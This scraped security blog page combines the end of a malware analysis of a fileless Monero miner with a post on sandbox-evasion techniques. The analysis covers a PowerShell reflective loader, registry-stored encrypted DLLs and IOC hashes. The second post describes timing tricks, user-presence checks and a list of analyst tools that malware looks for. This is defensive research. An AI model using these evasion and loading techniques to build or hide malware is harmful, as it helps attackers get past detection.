Decoding the encoded inner command blob, which was set as a scheduled task, reveals a reflective-PE loader based on the notorious Invoke-ReflectivePEInjection module from PowerSploit and PowerShell Empire frameworks, which facilitates multiple forms of code injection.
The loader is designed to decode base64 encoded content from the registry, and self-inject it into its own running process, using some run-time compiled C# code:
<img class="alignnone wp-image-6301 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt728cf11114760b7e/611a7e44a514e81640c57afe/registry_location.png" alt="" width="549" height="40" />
<img class="alignnone wp-image-6299 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt220d6c0fb66acf81/611a7e45a41ae81696b178e1/read_registry.png" alt="" width="564" height="40" />
<img class="alignnone wp-image-6295 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd533e5ba701cfc7b/611a7e4805b244160df0027f/c.png" alt="" width="1166" height="96" />
<img class="alignnone wp-image-6304 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt83b76708cbef7c18/611a7e41cc91a61675b04dc1/self-inject.png" alt="" width="845" height="220" />
<h6>Caption: PowerShell snippets to read from registry and self-inject into own running process. “Rlo7F” variable containing decoded content is later given to function “MacbEBXil” as input.</h6>
While run-time compilation is <a href="https://isc.sans.edu/forums/diary/Malicious+PowerShell+Compiling+C+Code+on+the+Fly/24072/" target="_blank" rel="noopener noreferrer">not new</a>, it is becoming more and more prevalent with the rising popularity of file-less attacks, and can bear certain advantages for an attacker such as the avoidance of some of PowerShell’s protection mechanisms.
Registry contained Miner payload
Examining the registry entries provided to us by the customer shows a fairly large base64 encoded blob.
Decoding the content stored in the registry reveals the blob contains 2 .DLL file – a 32bit one and a 64bit one, which are loaded by the PowerShell script based on the victim system’s respective bitness:
<img class="alignnone wp-image-6300 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd26da6f92ac84ef6/611a7e444e0dde165f2f8927/registry.png" alt="" width="857" height="234" />
<img class="alignnone wp-image-6294 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt758af19c1de86c1a/611a7e488d53e815d5044ef9/2dlls.png" alt="" width="623" height="419" />
<h6>Caption: Base64 encoded registry entry containing set of 2 separate .DLLs (32bit and 64bit)</h6>
From initial analysis, both .DLL files import a single function – VirutalProtect, which is used to protect the malware’s memory, and a single exported function – init, used to execute the malware:
<img class="alignnone wp-image-6309 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6e8d602f2613a2fd/611a7e3fbf98451666a13336/virtualprotect.png" alt="" width="862" height="58" />
<img class="alignnone size-full wp-image-6297" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0b65c964b8ed2b8e/611a7e46ca6ea516284373a4/init.png" alt="" width="326" height="57" />
<h6>Caption: Imported and exported functions</h6>
The bulk of both .DLL’s content is contained in their .data section, the unusually high entropy is suggestive of an encrypted section:
<img class="alignnone wp-image-6303 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5ddb69a21dcab597/611a7e430dae34168b48c540/sections.png" alt="" width="849" height="203" />
<h6>Caption: Malicious .DLL file sections</h6>
Examining some strings from the file gives a clear indication that the encryption method used is Salsa20, the same algorithm was employed by GandCrab (v4.0 and onwards) and EternalPetya, but in this case, it is used to encrypt the .DLL’s own content:
<img class="alignnone wp-image-6302 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta86bbf771e9bf05c/611a7e42bb11b815dcedc755/salsa20.png" alt="" width="246" height="255" />
<h6>Caption: “expand 32-byte k” string, indicative of Salsa20 encryption.</h6>
Once running in memory of the current PowerShell process, the malware will initiate communications with a series of TOR nodes, the precise nature and content of these exchanges is still being investigated. A sharp spike in CPU usage also occurs, typical of Crypto-Mining malware.
Eventually an unencrypted exchange of communications takes place which is indicative of a Monero miner:
<img class="alignnone wp-image-6310 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta100f8746132d00e/611a7e373f39bd166a8440de/xmrig.png" alt="" width="1197" height="137" />
<h6>Caption: Miner network traffic</h6>
It is possible that the TOR nodes involved function as mining proxies, used to avoid direct communications with the malware’s mining pool, or avoid disclosure of additional resources. Similarly to what has been recently reported by <a href="https://www.welivesecurity.com/2019/11/26/stantinko-botnet-adds-cryptomining-criminal-activities/" target="_blank" rel="noopener noreferrer">ESET</a>.
<h3>Summary</h3>
During the past 2 years, Crypto-Mining malware has been in a <a href="https://www.mcafee.com/enterprise/en-us/assets/reports/rp-quarterly-threats-aug-2019.pdf">constant rise</a>, featuring ever-increasing levels of sophistication, utilizing advanced file-less techniques to attack targets in enterprise environments.
While analysis and research of this malware are still ongoing, in light of the above-mentioned findings – we are reasonably convinced that this a new, sophisticated Crypto-miner variant. Fairly distinguishable from other previously documented malware of this type.
A particular point of interest that arose during our analysis is the fact that one of the malware’s communication nodes is on the same IP range as an address involved in the recent <a href="https://bartblaze.blogspot.com/2019/11/monero-project-compromised.html" target="_blank" rel="noopener noreferrer">Monero project breach</a>, suggesting a possible connection. This is, however, purely circumstantial at this time.
Additional findings shall be published as they become available.
&nbsp;
IOCs (sha256)
PowerShell
226032cdd265a5bc71589a713e7a0dbf8bd2af9da0074a93a3dde9187e428d03
257f91305bc646d5317b3d7148e346d3c55499fb88de94a54994a2d3396d3c86
2adbf1f3020f6bbb8579ef29b4dc27555f5c2cd81523e03aa0263977d076f40e
3a8edf6fb113f87b6bf970d72f6b8940f4899f2b0d4b860c2a7b4f2957441dc9
3bd57d65f19891ab192a5eed9fa69506da32b00b965c2e897c49a29ed1186a9d
517f6df8a294388c5b7b37bef1705f946d62415c080a15bed9522114acf8c84e
6bc2a9a154f9b0b36244acb246dcaf32df6c373505f7bc04e96f170aa59743a8
73e6c529932cfc0f62bb80aed640a465946758bd7c51a32a2915bfca66fc64dd
7e49f0f5163a69ef00856704522c605850b7a3d959799c5413d50b24cfc69804
85e675e4b8f7011060d4acaafec61e363654680ba6f72741ebe291b5ee0198a9
8fda3c5fe98049e0a88fd24a8eecef914190c729c940de296e500e1d51058f19
9a171cfcd819da85ef92354edf0e78e8e449c041eac6c92ea040966ee569f0c8
a33001d600f8a2be07ebedfefb1a1213a3259f172000b42c2373168e0bd4616c
bc9789f84531ab87495b70455e7388d8f81f85d2329554bf3093e48a6fbaa3b2
cd397560a47c53e03075240a59a6ba9f408ff8fb3955b4ef8c289e2e5826bc50
d5c19b8135797ce37938ced888211135e143e7883d6397b96f279e1de01af8c7
e16eceb9286acfdcab1f75c1b4f0b9b3daa48752120b995dce56abbf379abc58
e939822f4363137c93cb583b7e034c2e23f99d59965d909ac0799af1674c2fb6
 
Registry exports (Base64 encoded registry content)
23949d53acfc034276fc5ba44c52b68229d13d6429fb9317a20f86471ea08d41
602b45f4ddafee776c243b929269b158f6877bb18dbad48c7959b5d83f71ecad
63f97453b25db94abc427f2f70b40b12c39063e34cd5f7312d4ec9b4c85c85fa
6c54cde4ef4988391d9849b8fb94329f92eee5e95bef91f9980421fb74010971
7f58ad964594b44f3c8787ece017f7e80929d9e020a76b630959b26c23caaf96
999913b70f1a9f26b1ab39a84d01c87c915c3325cc1849fd9a7cab6d5e919c90
be922ccb729c20429c00bac766507a2c1c0f45924dc7b6a907cfba2c2028ab88
ee5b5aeb0fda6da4cfd59f2d6234719d4c1667d3d2d0b925b278956958b9545c
ef3f17c18bcbf8006c454976975b47d049c41a781106371fa50d1f959ba36f35
a0e2deb7b708c5f23706a901ae261789356832797d1d68b58d26026a9cc41e49
 
.DLLs
34d85d7cddd6c00cec61d7fa1646ac0c554d3294a8f0e687e3881576a8945079
c03a8f4f3b0ef8a4f2ba99c0ca53a9682ae252468afc6321abde2978ec052548
1d848c95934b4ada50c859ca4f6aea05ec5eb6d0fbf3443b200415ae28c8afa7
47868e81f83e29ac74c31c5871927081798d197b8bfab22d6b9cd0e79945251f
 
Network – Monero Node
45.9.148.36 (Shares IP range with <a href="https://bartblaze.blogspot.com/2019/11/monero-project-compromised.html">Monero project breach</a>)

Who's Mining in My Enterprise? New Phost-Miner Discovered

This blog, which follows up on our previous blog and is part of our series on different malware evasion techniques, will focus on various methods empl

malware-evasion-prt3.jpg

This blog, which follows up on our <a href="https://www.deepinstinct.com/2019/10/29/malware-evasion-techniques-part-2-anti-vm-blog/" target="_blank" rel="noopener noreferrer">previous</a> blog and is part of our series on different malware evasion techniques, will focus on various methods employed by malware to detect and avoid Analysis/Sandbox environments which are unrelated to the virtualization infrastructure itself and are aimed more generally at dynamic analysis avoidance.
&nbsp;
<h3>Analysis environment/Sandbox detection and avoidance</h3>
Time-delay based avoidance
One of the simplest and long-lasting methods of analysis and sandbox avoidance is based on the simple premise that any sandbox will only allocate a finite amount of time (usually only several minutes) for each given analysis before moving to the next sample in its queue.
By delaying its execution beyond this timeframe malware can hide its malicious actions and activities from the sandbox. This is commonly accomplished either by using the “Sleep” or “NtDelayExecution” Windows APIs, which some sandboxes patch in order to circumvent this behavior. As a result of this, some malware has evolved to detect these patches as an additional indicator of an analysis/sandbox environment. This is done by taking a timestamp, going to sleep, and checking the timestamp upon waking up. If the time difference from the previously taken timestamp is substantially different than the time the malware was programmed to sleep, the malware will avoid or adjust its execution. An example of a similar timestamping mechanism can be found in <a href="https://www.deepinstinct.com/2018/06/20/meet-mylobot-a-new-highly-sophisticated-never-seen-before-botnet-thats-out-in-the-wild/">MyloBot</a>, which Deep Instinct discovered during the summer of 2018.
User checks
Over time malware developers have also added methods to avoid sandboxes and analysis environments by performing various checks to see if there is an actual user operating the machine the malware is being executed on.
Examples:
<ul>
<li>Mouse cursor position – by checking for mouse cursor position changes over time, malware can detect machines which aren’t operated by actual users, if the mouse cursor position is found to be permanent, the machine is much more likely to be a sandbox.</li>
<li>Recent file count / Desktop file count – if the executing machine is found to have a low count of recently opened files or files on the desktop, it is much more likely to be a sandbox.</li>
<li>Screen resolution – if the executing machine’s display resolution is found to be unusually low (for example 800x600), something a contemporary user will not likely tolerate, the machine is more likely to be a sandbox.</li>
<li>Running an application count / Active window count / Process count – if the count of currently running applications or currently active windows or currently running processes is found to be unusually low, the machine is much more likely to be a sandbox, as a normal user will usually have at least one or two applications running at any given time.</li>
<li>Low CPU core count / RAM – if the CPU core count and/or amount of available system RAM is found to be low (for example a single CPU core, and 1GB of RAM) the machine is much more likely to be a sandbox, as a contemporary user is unlikely to tolerate such a machine.</li>
</ul>
Anti-Researcher checks
Over time malware developers have gained insight into the tools commonly used by malware researchers and analysts and have modified their malware accordingly to avoid or adjust its execution if such tools are detected as present or active on the executing machine. These tools include debuggers, disassemblers, networking monitoring utilities/sniffers and other utilities.
Examples:
<ul>
<li>Wireshark.exe</li>
<li>Fiddler.exe</li>
<li>Procmon.exe / Procmon64.exe</li>
<li>Procexp.exe / Procexp64.exe</li>
<li>Sysmon.exe / Sysmon64.exe</li>
<li>ProcessHacker.exe</li>
<li>OllyDbg.exe</li>
<li>ImmunityDebugger.exe</li>
<li>Windbgx86.exe / Windbgx64.exe</li>
<li>x32dbg.exe / x64dbg.exe</li>
<li>Python.exe</li>
</ul>
<h3>Summary &amp; Conclusion</h3>
By employing any number of combinations of the above and <a href="https://www.deepinstinct.com/2019/10/29/malware-evasion-techniques-part-2-anti-vm-blog/" target="_blank" rel="noopener noreferrer">previously described</a> checks, methods, and techniques, malware can gain a substantial degree of environmental awareness and avoid or adjust its execution if it detects it is being executed in an undesirable environment.
The cat and mouse game between malware developers and malware researchers and analysts is constantly afoot, with each side developing their own ways and means to either avoid or improve detection. In the fourth and final blog in the series, read about <a href="https://www.deepinstinct.com/2020/01/12/malware-evasion-techniques-part-4-living-off-the-land/" target="_blank" rel="noopener noreferrer">Living off the Land techniques.</a>

Discover how Deep Instinct DSX protects your NAS storage more effectively than Trellix.

Shaul Vilkomir-Preisman

From Shaul Vilkomir-Preisman.